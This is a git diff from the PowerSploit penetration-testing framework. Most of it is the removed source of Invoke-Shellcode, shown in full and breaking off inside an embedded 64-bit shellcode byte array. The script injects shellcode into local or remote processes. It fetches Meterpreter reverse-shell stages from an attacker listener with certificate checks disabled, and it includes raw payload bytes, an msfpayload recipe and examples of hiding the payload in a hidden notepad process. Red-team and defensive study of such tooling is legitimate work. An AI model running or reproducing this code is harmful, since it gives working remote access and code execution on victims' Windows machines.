aboutsummaryrefslogtreecommitdiff
path: root/CodeExecution
diff options
context:
space:
mode:
Diffstat (limited to 'CodeExecution')
-rw-r--r--CodeExecution/CodeExecution.psd161
-rw-r--r--CodeExecution/CodeExecution.psm12
-rw-r--r--CodeExecution/Invoke--Shellcode.ps1763
-rw-r--r--CodeExecution/Invoke-DllInjection.ps116
-rw-r--r--CodeExecution/Invoke-ReflectivePEInjection.ps1122
-rw-r--r--CodeExecution/Invoke-Shellcode.ps1531
-rw-r--r--CodeExecution/Invoke-ShellcodeMSIL.ps1267
-rw-r--r--CodeExecution/Invoke-WmiCommand.ps145
8 files changed, 579 insertions, 1228 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1
index 8dc5b75..93c2cd3 100644
--- a/CodeExecution/CodeExecution.psd1
+++ b/CodeExecution/CodeExecution.psd1
@@ -4,7 +4,7 @@
ModuleToProcess = 'CodeExecution.psm1'
# Version number of this module.
-ModuleVersion = '1.0.0.0'
+ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
@@ -24,65 +24,10 @@ Description = 'PowerSploit Code Execution Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
-# Name of the Windows PowerShell host required by this module
-# PowerShellHostName = ''
-
-# Minimum version of the Windows PowerShell host required by this module
-# PowerShellHostVersion = ''
-
-# Minimum version of the .NET Framework required by this module
-# DotNetFrameworkVersion = ''
-
-# Minimum version of the common language runtime (CLR) required by this module
-# CLRVersion = ''
-
-# Processor architecture (None, X86, Amd64) required by this module
-# ProcessorArchitecture = ''
-
-# Modules that must be imported into the global environment prior to importing this module
-# RequiredModules = @()
-
-# Assemblies that must be loaded prior to importing this module
-# RequiredAssemblies = @()
-
-# Script files (.ps1) that are run in the caller's environment prior to importing this module.
-# ScriptsToProcess = ''
-
-# Type files (.ps1xml) to be loaded when importing this module
-# TypesToProcess = @()
-
-# Format files (.ps1xml) to be loaded when importing this module
-# FormatsToProcess = @()
-
-# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
-# NestedModules = @()
-
# Functions to export from this module
FunctionsToExport = '*'
-# Cmdlets to export from this module
-CmdletsToExport = '*'
-
-# Variables to export from this module
-VariablesToExport = ''
-
-# Aliases to export from this module
-AliasesToExport = ''
-
-# List of all modules packaged with this module.
-ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
-
# List of all files packaged with this module
-FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1',
- 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
-
-# Private data to pass to the module specified in RootModule/ModuleToProcess
-# PrivateData = ''
-
-# HelpInfo URI of this module
-# HelpInfoURI = ''
-
-# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
-# DefaultCommandPrefix = ''
-
+FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
+ 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
}
diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1
index 934fa38..81d3818 100644
--- a/CodeExecution/CodeExecution.psm1
+++ b/CodeExecution/CodeExecution.psm1
@@ -1 +1 @@
-Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | ? {$_.Name -ne 'Invoke-Shellcode.ps1'} | % { . $_.FullName}
+Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
diff --git a/CodeExecution/Invoke--Shellcode.ps1 b/CodeExecution/Invoke--Shellcode.ps1
deleted file mode 100644
index b0ba81c..0000000
--- a/CodeExecution/Invoke--Shellcode.ps1
+++ /dev/null
@@ -1,763 +0,0 @@
-function Invoke-Shellcode
-{
-<#
-.SYNOPSIS
-
-Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
-
-PowerSploit Function: Invoke-Shellcode
-Author: Matthew Graeber (@mattifestation)
-License: BSD 3-Clause
-Required Dependencies: None
-Optional Dependencies: None
-
-.DESCRIPTION
-
-Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
-
-PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
-
-msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
-
-Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
-
-.PARAMETER ProcessID
-
-Process ID of the process you want to inject shellcode into.
-
-.PARAMETER Shellcode
-
-Specifies an optional shellcode passed in as a byte array
-
-.PARAMETER ListMetasploitPayloads
-
-Lists all of the available Metasploit payloads that Invoke-Shellcode supports
-
-.PARAMETER Lhost
-
-Specifies the IP address of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Lport
-
-Specifies the port of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Payload
-
-Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
-
-.PARAMETER UserAgent
-
-Optionally specifies the user agent to use when using meterpreter http or https payloads
-
-.PARAMETER Proxy
-
-Optionally specifies whether to utilize the proxy settings on the machine.
-
-.PARAMETER Legacy
-
-Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future.
-
-.PARAMETER Force
-
-Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -ProcessId 4274
-
-Description
------------
-Inject shellcode into process ID 4274.
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode
-
-Description
------------
-Inject shellcode into the running instance of PowerShell.
-
-.EXAMPLE
-
-C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
-C:\PS> $Proc = Get-Process notepad
-C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
-
-VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
-VERBOSE: Injecting shellcode into PID: 4004
-VERBOSE: Injecting into a Wow64 process.
-VERBOSE: Using 32-bit shellcode.
-VERBOSE: Shellcode memory reserved at 0x03BE0000
-VERBOSE: Emitting 32-bit assembly call stub.
-VERBOSE: Thread call stub memory reserved at 0x001B0000
-VERBOSE: Shellcode injection complete!
-
-Description
------------
-Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
-
-Payload options (windows/meterpreter/reverse_https):
-
-Name Current Setting Required Description
----- --------------- -------- -----------
-EXITFUNC thread yes Exit technique: seh, thread, process, none
-LHOST 192.168.30.129 yes The local listener hostname
-LPORT 443 yes The local listener port
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
-
-Description
------------
-Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
-
-Payload options (windows/meterpreter/reverse_http):
-
-Name Current Setting Required Description
----- --------------- -------- -----------
-EXITFUNC thread yes Exit technique: seh, thread, process, none
-LHOST 192.168.30.129 yes The local listener hostname
-LPORT 80 yes The local listener port
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
-
-Description
------------
-Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
-Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -ListMetasploitPayloads
-
-Payloads
---------
-windows/meterpreter/reverse_http
-windows/meterpreter/reverse_https
-
-.NOTES
-
-Use the '-Verbose' option to print detailed information.
-
-Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
-
-Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
-
-.LINK
-
-http://www.exploit-monday.com
-#>
-
-[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
- [ValidateNotNullOrEmpty()]
- [UInt16]
- $ProcessID,
-
- [Parameter( ParameterSetName = 'RunLocal' )]
- [ValidateNotNullOrEmpty()]
- [Byte[]]
- $Shellcode,
-
- [Parameter( ParameterSetName = 'Metasploit' )]
- [ValidateSet( 'windows/meterpreter/reverse_http',
- 'windows/meterpreter/reverse_https',
- IgnoreCase = $True )]
- [String]
- $Payload = 'windows/meterpreter/reverse_http',
-
- [Parameter( ParameterSetName = 'ListPayloads' )]
- [Switch]
- $ListMetasploitPayloads,
-
- [Parameter( Mandatory = $True,
- ParameterSetName = 'Metasploit' )]
- [ValidateNotNullOrEmpty()]
- [String]
- $Lhost = '127.0.0.1',
-
- [Parameter( Mandatory = $True,
- ParameterSetName = 'Metasploit' )]
- [ValidateRange( 1,65535 )]
- [Int]
- $Lport = 8443,
-
- [Parameter( ParameterSetName = 'Metasploit' )]
- [ValidateNotNull()]
- [String]
- $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',
-
- [Parameter( ParameterSetName = 'Metasploit' )]
- [ValidateNotNull()]
- [Switch]
- $Legacy = $False,
-
- [Parameter( ParameterSetName = 'Metasploit' )]
- [ValidateNotNull()]
- [Switch]
- $Proxy = $False,
-
- [Switch]
- $Force = $False
-)
-
- Set-StrictMode -Version 2.0
-
- # List all available Metasploit payloads and exit the function
- if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
- {
- $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
- Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
-
- foreach ($Payload in $AvailablePayloads.ValidValues)
- {
- New-Object PSObject -Property @{ Payloads = $Payload }
- }
-
- Return
- }
-
- if ( $PSBoundParameters['ProcessID'] )
- {
- # Ensure a valid process ID was provided
- # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
- Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
- }
-
- function Local:Get-DelegateType
- {
- Param
- (
- [OutputType([Type])]
-
- [Parameter( Position = 0)]
- [Type[]]
- $Parameters = (New-Object Type[](0)),
-
- [Parameter( Position = 1 )]
- [Type]
- $ReturnType = [Void]
- )
-
- $Domain = [AppDomain]::CurrentDomain
- $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
- $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
- $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
- $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
- $MethodBuilder.SetImplementationFlags('Runtime, Managed')
-
- Write-Output $TypeBuilder.CreateType()
- }
-
- function Local:Get-ProcAddress
- {
- Param
- (
- [OutputType([IntPtr])]
-
- [Parameter( Position = 0, Mandatory = $True )]
- [String]
- $Module,
-
- [Parameter( Position = 1, Mandatory = $True )]
- [String]
- $Procedure
- )
-
- # Get a reference to System.dll in the GAC
- $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
- Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
- $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
- # Get a reference to the GetModuleHandle and GetProcAddress methods
- $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
- $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
- # Get a handle to the module specified
- $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
- $tmpPtr = New-Object IntPtr
- $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
-
- # Return the address of the function
- Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
- }
-
- # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
- function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
- {
- $IntSizePtr = $Architecture / 8
-
- function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
- {
- $LittleEndianByteArray = New-Object Byte[](0)
- $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
- [System.Array]::Reverse($LittleEndianByteArray)
-
- Write-Output $LittleEndianByteArray
- }
-
- $CallStub = New-Object Byte[](0)
-
- if ($IntSizePtr -eq 8)
- {
- [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
- $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
- $CallStub += 0xFF,0xD0 # CALL RAX
- $CallStub += 0x6A,0x00 # PUSH BYTE 0
- $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
- $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
- $CallStub += 0xFF,0xD0 # CALL RAX
- }
- else
- {
- [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
- $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
- $CallStub += 0xFF,0xD0 # CALL EAX
- $CallStub += 0x6A,0x00 # PUSH BYTE 0
- $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
- $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
- $CallStub += 0xFF,0xD0 # CALL EAX
- }
-
- Write-Output $CallStub
- }
-
- function Local:Inject-RemoteShellcode ([Int] $ProcessID)
- {
- # Open a handle to the process you want to inject into
- $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
-
- if (!$hProcess)
- {
- Throw "Unable to open a process handle for PID: $ProcessID"
- }
-
- $IsWow64 = $false
-
- if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
- {
- # Determine is the process specified is 32 or 64 bit
- $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
-
- if ((!$IsWow64) -and $PowerShell32bit)
- {
- Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
- }
- elseif ($IsWow64) # 32-bit Wow64 process
- {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Injecting into a Wow64 process.'
- Write-Verbose 'Using 32-bit shellcode.'
- }
- else # 64-bit process
- {
- if ($Shellcode64.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode64 variable!'
- }
-
- $Shellcode = $Shellcode64
- Write-Verbose 'Using 64-bit shellcode.'
- }
- }
- else # 32-bit CPU
- {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Using 32-bit shellcode.'
- }
-
- # Reserve and commit enough memory in remote process to hold the shellcode
- $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
-
- if (!$RemoteMemAddr)
- {
- Throw "Unable to allocate shellcode memory in PID: $ProcessID"
- }
-
- Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy shellcode into the previously allocated memory
- $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
-
- # Get address of ExitThread function
- $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-
- if ($IsWow64)
- {
- # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
- $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
-
- Write-Verbose 'Emitting 32-bit assembly call stub.'
- }
- else
- {
- # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
- $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
-
- Write-Verbose 'Emitting 64-bit assembly call stub.'
- }
-
- # Allocate inline assembly stub
- $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
-
- if (!$RemoteStubAddr)
- {
- Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
- }
-
- Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
-
- # Write 32-bit assembly stub to remote process memory space
- $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
-
- # Execute shellcode as a remote thread
- $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
-
- if (!$ThreadHandle)
- {
- Throw "Unable to launch remote thread in PID: $ProcessID"
- }
-
- # Close process handle
- $CloseHandle.Invoke($hProcess) | Out-Null
-
- Write-Verbose 'Shellcode injection complete!'
- }
-
- function Local:Inject-LocalShellcode
- {
- if ($PowerShell32bit) {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- return
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Using 32-bit shellcode.'
- }
- else
- {
- if ($Shellcode64.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode64 variable!'
- return
- }
-
- $Shellcode = $Shellcode64
- Write-Verbose 'Using 64-bit shellcode.'
- }
-
- # Allocate RWX memory for the shellcode
- $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$BaseAddress)
- {
- Throw "Unable to allocate shellcode memory in PID: $ProcessID"
- }
-
- Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy shellcode to RWX buffer
- [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
-
- # Get address of ExitThread function
- $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-
- if ($PowerShell32bit)
- {
- $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
-
- Write-Verbose 'Emitting 32-bit assembly call stub.'
- }
- else
- {
- $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
-
- Write-Verbose 'Emitting 64-bit assembly call stub.'
- }
-
- # Allocate RWX memory for the thread call stub
- $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$CallStubAddress)
- {
- Throw "Unable to allocate thread call stub."
- }
-
- Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy call stub to RWX buffer
- [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
-
- # Launch shellcode in it's own thread
- $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
- if (!$ThreadHandle)
- {
- Throw "Unable to launch thread."
- }
-
- # Wait for shellcode thread to terminate
- $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
-
- $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
- $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
-
- Write-Verbose 'Shellcode injection complete!'
- }
-
- # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
- $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
- if ($IsWow64ProcessAddr)
- {
- $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
- $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
-
- $64bitCPU = $true
- }
- else
- {
- $64bitCPU = $false
- }
-
- if ([IntPtr]::Size -eq 4)
- {
- $PowerShell32bit = $true
- }
- else
- {
- $PowerShell32bit = $false
- }
-
- if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
- {
- if (!$PowerShell32bit) {
- # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
- # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
-
- # Pull out just the content of the this script's invocation.
- $RootInvocation = $MyInvocation.Line
-
- $Response = $True
-
- if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
- "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
-
- if ( !$Response )
- {
- # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
- Return
- }
-
- # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
- if ($MyInvocation.BoundParameters['Force'])
- {
- Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
- $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
- }
- else
- {
- Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
- $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
- }
-
- $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
- $EncodedCommand = [Convert]::ToBase64String($CommandBytes)
-
- $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
- Invoke-Expression -Command $Execute | Out-Null
-
- # Exit the script since the shellcode will be running from x86 PowerShell
- Return
- }
-
- $Response = $True
-
- if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
- "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
-
- if ( !$Response )
- {
- # User opted not to carry out download of Metasploit payload. Exit function
- Return
- }
-
- switch ($Payload)
- {
- 'windows/meterpreter/reverse_http'
- {
- $SSL = ''
- }
-
- 'windows/meterpreter/reverse_https'
- {
- $SSL = 's'
- # Accept invalid certificates
- [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
- }
- }
-
- if ($Legacy)
- {
- # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0
- $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
- Write-Verbose "Requesting meterpreter payload from $Request"
- } else {
-
- # Generate a URI that passes the test
- $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
- $SumTest = $False
-
- while ($SumTest -eq $False)
- {
- $GeneratedUri = $CharArray | Get-Random -Count 4
- $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
- }
-
- $RequestUri = -join $GeneratedUri
-
- $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)"
- }
-
- $Uri = New-Object Uri($Request)
- $WebClient = New-Object System.Net.WebClient
- $WebClient.Headers.Add('user-agent', "$UserAgent")
-
- if ($Proxy)
- {
- $WebProxyObject = New-Object System.Net.WebProxy
- $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer
-
- # if there is no proxy set, then continue without it
- if ($ProxyAddress)
- {
-
- $WebProxyObject.Address = $ProxyAddress
- $WebProxyObject.UseDefaultCredentials = $True
- $WebClientObject.Proxy = $WebProxyObject
- }
- }
-
- try
- {
- [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
- }
- catch
- {
- Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
- }
- [Byte[]] $Shellcode64 = $Shellcode32
-
- }
- elseif ($PSBoundParameters['Shellcode'])
- {
- # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
- # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
- [Byte[]] $Shellcode32 = $Shellcode
- [Byte[]] $Shellcode64 = $Shellcode32
- }
- else
- {
- # Pop a calc... or whatever shellcode you decide to place in here
- # I sincerely hope you trust that this shellcode actually pops a calc...
- # Insert your shellcode here in the for 0xXX,0xXX,...
- # 32-bit payload
- # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
- [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
- 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
- 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
- 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
- 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
- 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
- 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
- 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
- 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
- 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
- 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
- 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
- 0x61,0x6c,0x63,0x00)
-
- # 64-bit payload
- # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
- [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
- 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
- 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
- 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
- 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
- 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
- 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
- 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
- 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
- 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
- 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
- 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
- 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
